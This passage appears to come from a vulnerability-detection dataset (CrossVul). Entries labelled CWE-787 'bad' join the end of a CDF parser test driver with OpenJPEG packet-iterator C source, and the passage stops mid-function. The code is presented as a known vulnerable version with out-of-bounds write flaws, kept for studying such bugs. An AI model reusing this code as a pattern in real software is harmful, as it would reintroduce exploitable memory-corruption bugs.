"Cannot open `%s'", argv[1]); if (cdf_read_header(&info, &h) == -1) err(EXIT_FAILURE, "Cannot read header"); #ifdef CDF_DEBUG cdf_dump_header(&h); #endif if (cdf_read_sat(&info, &h, &sat) == -1) err(EXIT_FAILURE, "Cannot read sat"); #ifdef CDF_DEBUG cdf_dump_sat("SAT", &sat, CDF_SEC_SIZE(&h)); #endif if (cdf_read_ssat(&info, &h, &sat, &ssat) == -1) err(EXIT_FAILURE, "Cannot read ssat"); #ifdef CDF_DEBUG cdf_dump_sat("SSAT", &ssat, CDF_SHORT_SEC_SIZE(&h)); #endif if (cdf_read_dir(&info, &h, &sat, &dir) == -1) err(EXIT_FAILURE, "Cannot read dir"); if (cdf_read_short_stream(&info, &h, &sat, &dir, &sst, &root) == -1) err(EXIT_FAILURE, "Cannot read short stream"); #ifdef CDF_DEBUG cdf_dump_stream(&sst); #endif #ifdef CDF_DEBUG cdf_dump_dir(&info, &h, &sat, &ssat, &sst, &dir); #endif if (cdf_read_summary_info(&info, &h, &sat, &ssat, &sst, &dir, &scn) == -1) warn("Cannot read summary info"); #ifdef CDF_DEBUG else cdf_dump_summary_info(&h, &scn); #endif if (cdf_read_user_stream(&info, &h, &sat, &ssat, &sst, &dir, "Catalog", &scn) == -1) warn("Cannot read catalog"); #ifdef CDF_DEBUG else cdf_dump_catalog(&h, &scn); #endif (void)close(info.i_fd); } return 0; } #endif
./CrossVul/dataset_final_sorted/CWE-787/c/bad_1196_0
crossvul-cpp_data_bad_5272_0
/* * The copyright in this software is being made available under the 2-clauses * BSD License, included below. This software may be subject to other third * party and contributor rights, including patent rights, and no such rights * are granted under this license. * * Copyright (c) 2002-2014, Universite catholique de Louvain (UCL), Belgium * Copyright (c) 2002-2014, Professor Benoit Macq * Copyright (c) 2001-2003, David Janssens * Copyright (c) 2002-2003, Yannick Verschueren * Copyright (c) 2003-2007, Francois-Olivier Devaux * Copyright (c) 2003-2014, Antonin Descampe * Copyright (c) 2005, Herve Drolon, FreeImage Team * Copyright (c) 2006-2007, Parvatha Elangovan * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS `AS IS' * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #include "opj_includes.h" /** @defgroup PI PI - Implementation of a packet iterator */ /*@{*/ /** @name Local static functions */ /*@{*/ /** Get next packet in layer-resolution-component-precinct order. @param pi packet iterator to modify @return returns false if pi pointed to the last packet or else returns true */ static OPJ_BOOL opj_pi_next_lrcp(opj_pi_iterator_t * pi); /** Get next packet in resolution-layer-component-precinct order. @param pi packet iterator to modify @return returns false if pi pointed to the last packet or else returns true */ static OPJ_BOOL opj_pi_next_rlcp(opj_pi_iterator_t * pi); /** Get next packet in resolution-precinct-component-layer order. @param pi packet iterator to modify @return returns false if pi pointed to the last packet or else returns true */ static OPJ_BOOL opj_pi_next_rpcl(opj_pi_iterator_t * pi); /** Get next packet in precinct-component-resolution-layer order. @param pi packet iterator to modify @return returns false if pi pointed to the last packet or else returns true */ static OPJ_BOOL opj_pi_next_pcrl(opj_pi_iterator_t * pi); /** Get next packet in component-precinct-resolution-layer order. @param pi packet iterator to modify @return returns false if pi pointed to the last packet or else returns true */ static OPJ_BOOL opj_pi_next_cprl(opj_pi_iterator_t * pi); /** * Updates the coding parameters if the encoding is used with Progression order changes and final (or cinema parameters are used). * * @param p_cp the coding parameters to modify * @param p_tileno the tile index being concerned. * @param p_tx0 X0 parameter for the tile * @param p_tx1 X1 parameter for the tile * @param p_ty0 Y0 parameter for the tile * @param p_ty1 Y1 parameter for the tile * @param p_max_prec the maximum precision for all the bands of the tile * @param p_max_res the maximum number of resolutions for all the poc inside the tile. * @param p_dx_min the minimum dx of all the components of all the resolutions for the tile. * @param p_dy_min the minimum dy of all the components of all the resolutions for the tile. */ static void opj_pi_update_encode_poc_and_final ( opj_cp_t *p_cp, OPJ_UINT32 p_tileno, OPJ_INT32 p_tx0, OPJ_INT32 p_tx1, OPJ_INT32 p_ty0, OPJ_INT32 p_ty1, OPJ_UINT32 p_max_prec, OPJ_UINT32 p_max_res, OPJ_UINT32 p_dx_min, OPJ_UINT32 p_dy_min); /** * Updates the coding parameters if the encoding is not used with Progression order changes and final (and cinema parameters are used). * * @param p_cp the coding parameters to modify * @param p_num_comps the number of components * @param p_tileno the tile index being concerned. * @param p_tx0 X0 parameter for the tile * @param p_tx1 X1 parameter for the tile * @param p_ty0 Y0 parameter for the tile * @param p_ty1 Y1 parameter for the tile * @param p_max_prec the maximum precision for all the bands of the tile * @param p_max_res the maximum number of resolutions for all the poc inside the tile. * @param p_dx_min the minimum dx of all the components of all the resolutions for the tile. * @param p_dy_min the minimum dy of all the components of all the resolutions for the tile. */ static void opj_pi_update_encode_not_poc ( opj_cp_t *p_cp, OPJ_UINT32 p_num_comps, OPJ_UINT32 p_tileno, OPJ_INT32 p_tx0, OPJ_INT32 p_tx1, OPJ_INT32 p_ty0, OPJ_INT32 p_ty1, OPJ_UINT32 p_max_prec, OPJ_UINT32 p_max_res, OPJ_UINT32 p_dx_min, OPJ_UINT32 p_dy_min); /** * Gets the encoding parameters needed to update the coding parameters and all the pocs. * * @param p_image the image being encoded. * @param p_cp the coding parameters. * @param tileno the tile index of the tile being encoded. * @param p_tx0 pointer that will hold the X0 parameter for the tile * @param p_tx1 pointer that will hold the X1 parameter for the tile * @param p_ty0 pointer that will hold the Y0 parameter for the tile * @param p_ty1 pointer that will hold the Y1 parameter for the tile * @param p_max_prec pointer that will hold the maximum precision for all the bands of the tile * @param p_max_res pointer that will hold the maximum number of resolutions for all the poc inside the tile. * @param p_dx_min pointer that will hold the minimum dx of all the components of all the resolutions for the tile. * @param p_dy_min pointer that will hold the minimum dy of all the components of all the resolutions for the tile. */ static void opj_get_encoding_parameters(const opj_image_t *p_image, const opj_cp_t *p_cp, OPJ_UINT32 tileno, OPJ_INT32 * p_tx0, OPJ_INT32 * p_tx1, OPJ_INT32 * p_ty0, OPJ_INT32 * p_ty1, OPJ_UINT32 * p_dx_min, OPJ_UINT32 * p_dy_min, OPJ_UINT32 * p_max_prec, OPJ_UINT32 * p_max_res ); /** * Gets the encoding parameters needed to update the coding parameters and all the pocs. * The precinct widths, heights, dx and dy for each component at each resolution will be stored as well. * the last parameter of the function should be an array of pointers of size nb components, each pointer leading * to an area of size 4 * max_res. The data is stored inside this area with the following pattern : * dx_compi_res0 , dy_compi_res0 , w_compi_res0, h_compi_res0 , dx_compi_res1 , dy_compi_res1 , w_compi_res1, h_compi_res1 , ... * * @param p_image the image being encoded. * @param p_cp the coding parameters. * @param tileno the tile index of the tile being encoded. * @param p_tx0 pointer that will hold the X0 parameter for the tile * @param p_tx1 pointer that will hold the X1 parameter for the tile * @param p_ty0 pointer that will hold the Y0 parameter for the tile * @param p_ty1 pointer that will hold the Y1 parameter for the tile * @param p_max_prec pointer that will hold the maximum precision for all the bands of the tile * @param p_max_res pointer that will hold the maximum number of resolutions for all the poc inside the tile. * @param p_dx_min pointer that will hold the minimum dx of all the components of all the resolutions for the tile. * @param p_dy_min pointer that will hold the minimum dy of all the components of all the resolutions for the tile. * @param p_resolutions pointer to an area corresponding to the one described above. */ static void opj_get_all_encoding_parameters(const opj_image_t *p_image, const opj_cp_t *p_cp, OPJ_UINT32 tileno, OPJ_INT32 * p_tx0, OPJ_INT32 * p_tx1, OPJ_INT32 * p_ty0, OPJ_INT32 * p_ty1, OPJ_UINT32 * p_dx_min, OPJ_UINT32 * p_dy_min, OPJ_UINT32 * p_max_prec, OPJ_UINT32 * p_max_res, OPJ_UINT32 ** p_resolutions ); /** * Allocates memory for a packet iterator. Data and data sizes are set by this operation. * No other data is set. The include section of the packet iterator is not allocated. * * @param p_image the image used to initialize the packet iterator (in fact only the number of components is relevant. * @param p_cp the coding parameters. * @param tileno the index of the tile from which creating the packet iterator. */ static opj_pi_iterator_t * opj_pi_create( const opj_image_t *p_image, const opj_cp_t *p_cp, OPJ_UINT32 tileno ); /** * FIXME DOC */ static void opj_pi_update_decode_not_poc (opj_pi_iterator_t * p_pi, opj_tcp_t * p_tcp, OPJ_UINT32 p_max_precision, OPJ_UINT32 p_max_res); /** * FIXME DOC */ static void opj_pi_update_decode_poc ( opj_pi_iterator_t * p_pi, opj_tcp_t * p_tcp, OPJ_UINT32 p_max_precision, OPJ_UINT32 p_max_res); /** * FIXME DOC */ static OPJ_BOOL opj_pi_check_next_level( OPJ_INT32 pos, opj_cp_t *cp, OPJ_UINT32 tileno, OPJ_UINT32 pino, const OPJ_CHAR *prog); /*@}*/ /*@}*/ /* ========================================================== local functions ========================================================== */ static OPJ_BOOL opj_pi_next_lrcp(opj_pi_iterator_t * pi) { opj_pi_comp_t *comp = NULL; opj_pi_resolution_t *res = NULL; OPJ_UINT32 index = 0; if (!pi->first) { comp = &pi->comps[pi->compno]; res = &comp->resolutions[pi->resno]; goto LABEL_SKIP; } else { pi->first = 0; } for (pi->layno = pi->poc.layno0; pi->layno < pi->poc.layno1; pi->layno++) { for (pi->resno = pi->poc.resno0; pi->resno < pi->poc.resno1; pi->resno++) { for (pi->compno = pi->poc.compno0; pi->compno < pi->poc.compno1; pi->compno++) { comp = &pi->comps[pi->compno]; if (pi->resno >= comp->numresolutions) { continue; } res = &comp->resolutions[pi->resno]; if (!pi->tp_on){ pi->poc.precno1 = res->pw * res->ph; } for (pi->precno = pi->poc.precno0; pi->precno < pi->poc.precno1; pi->precno++) { index = pi->layno * pi->step_l + pi->resno * pi->step_r + pi->compno * pi->step_c + pi->precno * pi->step_p; if (!pi->include[index]) { pi->include[index] = 1; return OPJ_TRUE; } LABEL_SKIP:; } } } } return OPJ_FALSE; } static OPJ_BOOL opj_pi_next_rlcp(opj_pi_iterator_t * pi) { opj_pi_comp_t *comp = NULL; opj_pi_resolution_t *res = NULL; OPJ_UINT32 index = 0; if (!pi->first) { comp = &pi->comps[pi->compno]; res = &comp->resolutions[pi->resno]; goto LABEL_SKIP; } else { pi->first = 0; } for (pi->resno = pi->poc.resno0; pi->resno < pi->poc.resno1; pi->resno++) { for (pi->layno = pi->poc.layno0; pi->layno < pi->poc.layno1; pi->layno++) { for (pi->compno = pi->poc.compno0; pi->compno < pi->poc.compno1; pi->compno++) { comp = &pi->comps[pi->compno]; if (pi->resno >= comp->numresolutions) { continue; } res = &comp->resolutions[pi->resno]; if(!pi->tp_on){ pi->poc.precno1 = res->pw * res->ph; } for (pi->precno = pi->poc.precno0; pi->precno < pi->poc.precno1; pi->precno++) { index = pi->layno * pi->step_l + pi->resno * pi->step_r + pi->compno * pi->step_c + pi->precno * pi->step_p; if (!pi->include[index]) { pi->include[index] = 1; return OPJ_TRUE; } LABEL_SKIP:; } } } } return OPJ_FALSE; } static OPJ_BOOL opj_pi_next_rpcl(opj_pi_iterator_t * pi) { opj_pi_comp_t *comp = NULL; opj_pi_resolution_t *res = NULL; OPJ_UINT32 index = 0; if (!pi->first) { goto LABEL_SKIP; } else { OPJ_UINT32 compno, resno; pi->first = 0; pi->dx = 0; pi->dy = 0; for (compno = 0; compno < pi->numcomps; compno++) { comp = &pi->comps[compno]; for (resno = 0; resno < comp->numresolutions; resno++) { OPJ_UINT32 dx, dy; res = &comp->resolutions[resno]; dx = comp->dx * (1u << (res->pdx + comp->numresolutions - 1 - resno)); dy = comp->dy * (1u << (res->pdy + comp->numresolutions - 1 - resno)); pi->dx = !pi->dx ? dx : opj_uint_min(pi->dx, dx); pi->dy = !pi->dy ? dy : opj_uint_min(pi->dy, dy); } } } if (!pi->tp_on){ pi->poc.ty0 = pi->ty0; pi->poc.tx0 = pi->tx0; pi->poc.ty1 = pi->ty1; pi->poc.tx1 = pi->tx1; } for (pi->resno = pi->poc.resno0; pi->resno < pi->poc.resno1; pi->resno++) { for (pi->y = pi->poc.ty0; pi->y < pi->poc.ty1; pi->y += (OPJ_INT32)(pi->dy - (OPJ_UINT32)(pi->y % (OPJ_INT32)pi->dy))) { for (pi->x = pi->poc.tx0; pi->x < pi->poc.tx1; pi->x += (OPJ_INT32)(pi->dx - (OPJ_UINT32)(pi->x % (OPJ_INT32)pi->dx))) { for (pi->compno = pi->poc.compno0; pi->compno < pi->poc.compno1; pi->compno++) { OPJ_UINT32 levelno; OPJ_INT32 trx0, try0; OPJ_INT32 trx1, try1; OPJ_UINT32 rpx, rpy; OPJ_INT32 prci, prcj; comp = &pi->comps[pi->compno]; if (pi->resno >= comp->numresolutions) { continue; } res = &comp->resolutions[pi->resno]; levelno = comp->numresolutions - 1 - pi->resno; trx0 = opj_int_ceildiv(pi->tx0, (OPJ_INT32)(comp->dx << levelno)); try0 = opj_int_ceildiv(pi->ty0, (OPJ_INT32)(comp->dy << levelno)); trx1 = opj_int_ceildiv(pi->tx1, (OPJ_INT32)(comp->dx << levelno)); try1 = opj_int_ceildiv(pi->ty1, (OPJ_INT32)(comp->dy << levelno)); rpx = res->pdx + levelno; rpy = res->pdy + levelno; if (!((pi->y % (OPJ_INT32)(comp->dy << rpy) == 0) || ((pi->y == pi->ty0) && ((try0 << levelno) % (1 << rpy))))){ continue; } if (!((pi->x % (OPJ_INT32)(comp->dx << rpx) == 0) || ((pi->x == pi->tx0) && ((trx0 << levelno) % (1 << rpx))))){ continue; } if ((res->pw==0)||(res->ph==0)) continue; if ((trx0==trx1)||(try0==try1)) continue; prci = opj_int_floordivpow2(opj_int_ceildiv(pi->x, (OPJ_INT32)(comp->dx << levelno)), (OPJ_INT32)res->pdx) - opj_int_floordivpow2(trx0, (OPJ_INT32)res->pdx); prcj = opj_int_floordivpow2(opj_int_ceildiv(pi->y, (OPJ_INT32)(comp->dy << levelno)), (OPJ_INT32)res->pdy) - opj_int_floordivpow2(try0, (OPJ_INT32)res->pdy); pi->precno = (OPJ_UINT32)(prci + prcj * (OPJ_INT32)res->pw); for (pi->layno = pi->poc.layno0; pi->layno < pi->poc.layno1; pi->layno++) { index = pi->layno * pi->step_l + pi->resno * pi->step_r + pi->compno * pi->step_c + pi->precno * pi->step_p; if (!pi->include[index]) { pi->include[index] = 1; return OPJ_TRUE; } LABEL_SKIP:; } } } } } return OPJ_FALSE; } static OPJ_BOOL opj_pi_next_pcrl(opj_pi_iterator_t * pi) { opj_pi_comp_t *comp = NULL; opj_pi_resolution_t *res = NULL; OPJ_UINT32 index = 0; if (!pi->first) { comp = &pi->comps[pi->compno]; goto LABEL_SKIP; } else { OPJ_UINT32 compno, resno; pi->first = 0; pi->dx = 0; pi->dy = 0; for (compno = 0; compno < pi->numcomps; compno++) { comp = &pi->comps[compno]; for (resno = 0; resno < comp->numresolutions; resno++) { OPJ_UINT32 dx, dy; res = &comp->resolutions[resno]; dx = comp->dx * (1u << (res->pdx + comp->numresolutions - 1 - resno)); dy = comp->dy * (1u << (res->pdy + comp->numresolutions - 1 - resno)); pi->dx = !pi->dx ? dx : opj_uint_min(pi->dx, dx); pi->dy = !pi->dy ? dy : opj_uint_min(pi->dy, dy); } } } if (!pi->tp_on){ pi->poc.ty0 = pi->ty0; pi->poc.tx0 = pi->tx0; pi->poc.ty1 = pi->ty1; pi->poc.tx1 = pi->tx1; } for (pi->y = pi->poc.ty0; pi->y < pi->poc.ty1; pi->y += (OPJ_INT32)(pi->dy - (OPJ_UINT32)(pi->y % (OPJ_INT32)pi->dy))) { for (pi->x = pi->poc.tx0; pi->x < pi->poc.tx1; pi->x += (OPJ_INT32)(pi->dx - (OPJ_UINT32)(pi->x % (OPJ_INT32)pi->dx))) { for (pi->compno = pi->poc.compno0; pi->compno < pi->poc.compno1; pi->compno++) { comp = &pi->comps[pi->compno]; for (pi->resno = pi->poc.resno0; pi->resno < opj_uint_min(pi->poc.resno1, comp->numresolutions); pi->resno++) { OPJ_UINT32 levelno; OPJ_INT32 trx0, try0; OPJ_INT32 trx1, try1; OPJ_UINT32 rpx, rpy; OPJ_INT32 prci, prcj; res = &comp->resolutions[pi->resno]; levelno = comp->numresolutions - 1 - pi->resno; trx0 = opj_int_ceildiv(pi->tx0, (OPJ_INT32)(comp->dx << levelno)); try0 = opj_int_ceildiv(pi->ty0, (OPJ_INT32)(comp->dy << levelno)); trx1 = opj_int_ceildiv(pi->tx1, (OPJ_INT32)(comp->dx << levelno)); try1 = opj_int_ceildiv(pi->ty1, (OPJ_INT32)(comp->dy << levelno)); rpx = res->pdx + levelno; rpy = res->pdy + levelno; if (!((pi->y % (OPJ_INT32)(comp->dy << rpy) == 0) || ((pi->y == pi->ty0) && ((try0 << levelno) % (1 << rpy))))){ continue; } if (!((pi->x % (OPJ_INT32)(comp->dx << rpx) == 0) || ((pi->x == pi->tx0) && ((trx0 << levelno) % (1 << rpx))))){ continue; } if ((res->pw==0)||(res->ph==0)) continue; if ((trx0==trx1)||(try0==try1)) continue; prci = opj_int_floordivpow2(opj_int_ceildiv(pi->x, (OPJ_INT32)(comp->dx << levelno)), (OPJ_INT32)res->pdx) - opj_int_floordivpow2(trx0, (OPJ_INT32)res->pdx); prcj = opj_int_floordivpow2(opj_int_ceildiv(pi->y, (OPJ_INT32)(comp->dy << levelno)), (OPJ_INT32)res->pdy) - opj_int_floordivpow2(try0, (OPJ_INT32)res->pdy); pi->precno = (OPJ_UINT32)(prci + prcj * (OPJ_INT32)res->pw); for (pi->layno = pi->poc.layno0; pi->layno < pi->poc.layno1; pi->layno++) { index = pi->layno * pi->step_l + pi->resno * pi->step_r + pi->compno * pi->step_c + pi->precno * pi->step_p; if (!pi->include[index]) { pi->include[index] = 1; return OPJ_TRUE; } LABEL_SKIP:; } } } } } return OPJ_FALSE; } static OPJ_BOOL opj_pi_next_cprl(opj_pi_iterator_t * pi) { opj_pi_comp_t *comp = NULL; opj_pi_resolution_t *res = NULL; OPJ_UINT32 index = 0; if (!pi->first) { comp = &pi->comps[pi->compno]; goto LABEL_SKIP; } else { pi->first = 0; } for (pi->compno = pi->poc.compno0; pi->compno < pi->poc.compno1; pi->compno++) { OPJ_UINT32 resno; comp = &pi->comps[pi->compno]; pi->dx = 0; pi->dy = 0; for (resno = 0; resno < comp->numresolutions; resno++) { OPJ_UINT32 dx, dy; res = &comp->resolutions[resno]; dx = comp->dx * (1u << (res->pdx + comp->numresolutions - 1 - resno)); dy = comp->dy * (1u << (res->pdy + comp->numresolutions - 1 - resno)); pi->dx = !pi->dx ? dx : opj_uint_min(pi->dx, dx); pi->dy = !pi->dy ? dy : opj_uint_min(pi->dy, dy); } if (!pi->tp_on){ pi->poc.ty0 = pi->ty0; pi->poc.tx0 = pi->tx0; pi->poc.ty1 = pi->ty1; pi->poc.tx1 = pi->tx1; } for (pi->y = pi->poc.ty0; pi->y < pi->poc.ty1; pi->y += (OPJ_INT32)(pi->dy - (OPJ_UINT32)(pi->y % (OPJ_INT32)pi->dy))) { for (pi->x = pi->poc.tx0; pi->x < pi->poc.tx1; pi->x += (OPJ_INT32)(pi->dx - (OPJ_UINT32)(pi->x % (OPJ_INT32)pi->dx))) { for (pi->resno = pi->poc.resno0; pi->resno < opj_uint_min(pi->poc.resno1, comp->numresolutions); pi->resno++) { OPJ_UINT32 levelno; OPJ_INT32 trx0, try0; OPJ_INT32 trx1, try1; OPJ_UINT32 rpx, rpy; OPJ_INT32 prci, prcj; res = &comp->resolutions[pi->resno]; levelno = comp->numresolutions - 1 - pi->resno; trx0 = opj_int_ceildiv(pi->tx0, (OPJ_INT32)(comp->dx << levelno)); try0 = opj_int_ceildiv(pi->ty0, (OPJ_INT32)(comp->dy << levelno)); trx1 = opj_int_ceildiv(pi->tx1, (OPJ_INT32)(comp->dx << levelno)); try1 = opj_int_ceildiv(pi->ty1, (OPJ_INT32)(comp->dy << levelno)); rpx = res->pdx + levelno; rpy = res->pdy + levelno; if (!((pi->y % (OPJ_INT32)(comp->dy << rpy) == 0) || ((pi->y == pi->ty0) && ((try0 << levelno) % (1 << rpy))))){ continue; } if (!((pi->x % (OPJ_INT32)(comp->dx << rpx) == 0) || ((pi->x == pi->tx0) && ((trx0 << levelno) % (1 << rpx))))){ continue; } if ((res->pw==0)||(res->ph==0)) continue; if ((trx0==trx1)||(try0==try1)) continue; prci = opj_int_floordivpow2(opj_int_ceildiv(pi->x, (OPJ_INT32)(comp->dx << levelno)), (OPJ_INT32)res->pdx) - opj_int_floordivpow2(trx0, (OPJ_INT32)res->pdx); prcj = opj_int_floordivpow2(opj_int_ceildiv(pi->y, (OPJ_INT32)(comp->dy << levelno)), (OPJ_INT32)res->pdy) - opj_int_floordivpow2(try0, (OPJ_INT32)res->pdy); pi->precno = (OPJ_UINT32)(prci + prcj * (OPJ_INT32)res->pw); for (pi->layno = pi->poc.layno0; pi->layno < pi->poc.layno1; pi->layno++) { index = pi->layno * pi->step_l + pi->resno * pi->step_r + pi->compno * pi->step_c + pi->precno * pi->step_p; if (!pi->include[index]) { pi->include[index] = 1; return OPJ_TRUE; } LABEL_SKIP:; } } } } } return OPJ_FALSE; } static void opj_get_encoding_parameters( const opj_image_t *p_image, const opj_cp_t *p_cp, OPJ_UINT32 p_tileno, OPJ_INT32 * p_tx0, OPJ_INT32 * p_tx1, OPJ_INT32 * p_ty0, OPJ_INT32 * p_ty1, OPJ_UINT32 * p_dx_min, OPJ_UINT32 * p_dy_min, OPJ_UINT32 * p_max_prec, OPJ_UINT32 * p_max_res ) { /* loop */ OPJ_UINT32 compno, resno; /* pointers */ const opj_tcp_t *l_tcp = 00; const opj_tccp_t * l_tccp = 00; const opj_image_comp_t * l_img_comp = 00; /* position in x and y of tile */ OPJ_UINT32 p, q; /* preconditions */ assert(p_cp != 00); assert(p_image != 00); assert(p_tileno < p_cp->tw * p_cp->th); /* initializations */ l_tcp = &p_cp->tcps [p_tileno]; l_img_comp = p_image->comps; l_tccp = l_tcp->tccps; /* here calculation of tx0, tx1, ty0, ty1, maxprec, dx and dy */ p = p_tileno % p_cp->tw; q = p_tileno / p_cp->tw; /* find extent of tile */ *p_tx0 = opj_int_max((OPJ_INT32)(p_cp->tx0 + p * p_cp->tdx), (OPJ_INT32)p_image->x0); *p_tx1 = opj_int_min((OPJ_INT32)(p_cp->tx0 + (p + 1) * p_cp->tdx), (OPJ_INT32)p_image->x1); *p_ty0 = opj_int_max((OPJ_INT32)(p_cp->ty0 + q * p_cp->tdy), (OPJ_INT32)p_image->y0); *p_ty1 = opj_int_min((OPJ_INT32)(p_cp->ty0 + (q + 1) * p_cp->tdy), (OPJ_INT32)p_image->y1); /* max precision is 0 (can only grow) */ *p_max_prec = 0; *p_max_res = 0; /* take the largest value for dx_min and dy_min */ *p_dx_min = 0x7fffffff; *p_dy_min = 0x7fffffff; for (compno = 0; compno < p_image->numcomps; ++compno) { /* arithmetic variables to calculate */ OPJ_UINT32 l_level_no; OPJ_INT32 l_rx0, l_ry0, l_rx1, l_ry1; OPJ_INT32 l_px0, l_py0, l_px1, py1; OPJ_UINT32 l_pdx, l_pdy; OPJ_UINT32 l_pw, l_ph; OPJ_UINT32 l_product; OPJ_INT32 l_tcx0, l_tcy0, l_tcx1, l_tcy1; l_tcx0 = opj_int_ceildiv(*p_tx0, (OPJ_INT32)l_img_comp->dx); l_tcy0 = opj_int_ceildiv(*p_ty0, (OPJ_INT32)l_img_comp->dy); l_tcx1 = opj_int_ceildiv(*p_tx1, (OPJ_INT32)l_img_comp->dx); l_tcy1 = opj_int_ceildiv(*p_ty1, (OPJ_INT32)l_img_comp->dy); if (l_tccp->numresolutions > *p_max_res) { *p_max_res = l_tccp->numresolutions; } /* use custom size for precincts */ for (resno = 0; resno < l_tccp->numresolutions; ++resno) { OPJ_UINT32 l_dx, l_dy; /* precinct width and height */ l_pdx = l_tccp->prcw[resno]; l_pdy = l_tccp->prch[resno]; l_dx = l_img_comp->dx * (1u << (l_pdx + l_tccp->numresolutions - 1 - resno)); l_dy = l_img_comp->dy * (1u << (l_pdy + l_tccp->numresolutions - 1 - resno)); /* take the minimum size for dx for each comp and resolution */ *p_dx_min = opj_uint_min(*p_dx_min, l_dx); *p_dy_min = opj_uint_min(*p_dy_min, l_dy); /* various calculations of extents */ l_level_no = l_tccp->numresolutions - 1 - resno; l_rx0 = opj_int_ceildivpow2(l_tcx0, (OPJ_INT32)l_level_no); l_ry0 = opj_int_ceildivpow2(l_tcy0, (OPJ_INT32)l_level_no); l_rx1 = opj_int_ceildivpow2(l_tcx1, (OPJ_INT32)l_level_no); l_ry1 = opj_int_ceildivpow2(l_tcy1, (OPJ_INT32)l_level_no); l_px0 = opj_int_floordivpow2(l_rx0, (OPJ_INT32)l_pdx) << l_pdx; l_py0 = opj_int_floordivpow2(l_ry0, (OPJ_INT32)l_pdy) << l_pdy; l_px1 = opj_int_ceildivpow2(l_rx1, (OPJ_INT32)l_pdx) << l_pdx; py1 = opj_int_ceildivpow2(l_ry1, (OPJ_INT32)l_pdy) << l_pdy; l_pw = (l_rx0==l_rx1)?0:(OPJ_UINT32)((l_px1 - l_px0) >> l_pdx); l_ph = (l_ry0==l_ry1)?0:(OPJ_UINT32)((py1 - l_py0) >> l_pdy); l_product = l_pw * l_ph; /* update precision */ if (l_product > *p_max_prec) { *p_max_prec = l_product; } } ++l_img_comp; ++l_tccp; } } static void opj_get_all_encoding_parameters( const opj_image_t *p_image, const opj_cp_t *p_cp, OPJ_UINT32 tileno, OPJ_INT32 * p_tx0, OPJ_INT32 * p_tx1, OPJ_INT32 * p_ty0, OPJ_INT32 * p_ty1, OPJ_UINT32 * p_dx_min, OPJ_UINT32 * p_dy_min, OPJ_UINT32 * p_max_prec, OPJ_UINT32 * p_max_res, OPJ_UINT32 ** p_resolutions ) { /* loop*/ OPJ_UINT32 compno, resno; /* pointers*/ const opj_tcp_t *tcp = 00; const opj_tccp_t * l_tccp = 00; const opj_image_comp_t * l_img_comp = 00; /* to store l_dx, l_dy, w and h for each resolution and component.*/ OPJ_UINT32 * lResolutionPtr; /* position in x and y of tile*/ OPJ_UINT32 p, q; /* non-corrected (in regard to image offset) tile offset */ OPJ_UINT32 l_tx0, l_ty0; /* preconditions in debug*/ assert(p_cp != 00); assert(p_image != 00); assert(tileno < p_cp->tw * p_cp->th); /* initializations*/ tcp = &p_cp->tcps [tileno]; l_tccp = tcp->tccps; l_img_comp = p_image->comps; /* position in x and y of tile*/ p = tileno % p_cp->tw; q = tileno / p_cp->tw; /* here calculation of tx0, tx1, ty0, ty1, maxprec, l_dx and l_dy */ l_tx0 = p_cp->tx0 + p * p_cp->tdx; /* can't be greater than p_image->x1 so won't overflow */ *p_tx0 = (OPJ_INT32)opj_uint_max(l_tx0, p_image->x0); *p_tx1 = (OPJ_INT32)opj_uint_min(opj_uint_adds(l_tx0, p_cp->tdx), p_image->x1); l_ty0 = p_cp->ty0 + q * p_cp->tdy; /* can't be greater than p_image->y1 so won't overflow */ *p_ty0 = (OPJ_INT32)opj_uint_max(l_ty0, p_image->y0); *p_ty1 = (OPJ_INT32)opj_uint_min(opj_uint_adds(l_ty0, p_cp->tdy), p_image->y1); /* max precision and resolution is 0 (can only grow)*/ *p_max_prec = 0; *p_max_res = 0; /* take the largest value for dx_min and dy_min*/ *p_dx_min = 0x7fffffff; *p_dy_min = 0x7fffffff; for (compno = 0; compno < p_image->numcomps; ++compno) { /* aritmetic variables to calculate*/ OPJ_UINT32 l_level_no; OPJ_INT32 l_rx0, l_ry0, l_rx1, l_ry1; OPJ_INT32 l_px0, l_py0, l_px1, py1; OPJ_UINT32 l_product; OPJ_INT32 l_tcx0, l_tcy0, l_tcx1, l_tcy1; OPJ_UINT32 l_pdx, l_pdy , l_pw , l_ph; lResolutionPtr = p_resolutions[compno]; l_tcx0 = opj_int_ceildiv(*p_tx0, (OPJ_INT32)l_img_comp->dx); l_tcy0 = opj_int_ceildiv(*p_ty0, (OPJ_INT32)l_img_comp->dy); l_tcx1 = opj_int_ceildiv(*p_tx1, (OPJ_INT32)l_img_comp->dx); l_tcy1 = opj_int_ceildiv(*p_ty1, (OPJ_INT32)l_img_comp->dy); if (l_tccp->numresolutions > *p_max_res) { *p_max_res = l_tccp->numresolutions; } /* use custom size for precincts*/ l_level_no = l_tccp->numresolutions; for (resno = 0; resno < l_tccp->numresolutions; ++resno) { OPJ_UINT32 l_dx, l_dy; --l_level_no; /* precinct width and height*/ l_pdx = l_tccp->prcw[resno]; l_pdy = l_tccp->prch[resno]; *lResolutionPtr++ = l_pdx; *lResolutionPtr++ = l_pdy; l_dx = l_img_comp->dx * (1u << (l_pdx + l_level_no)); l_dy = l_img_comp->dy * (1u << (l_pdy + l_level_no)); /* take the minimum size for l_dx for each comp and resolution*/ *p_dx_min = 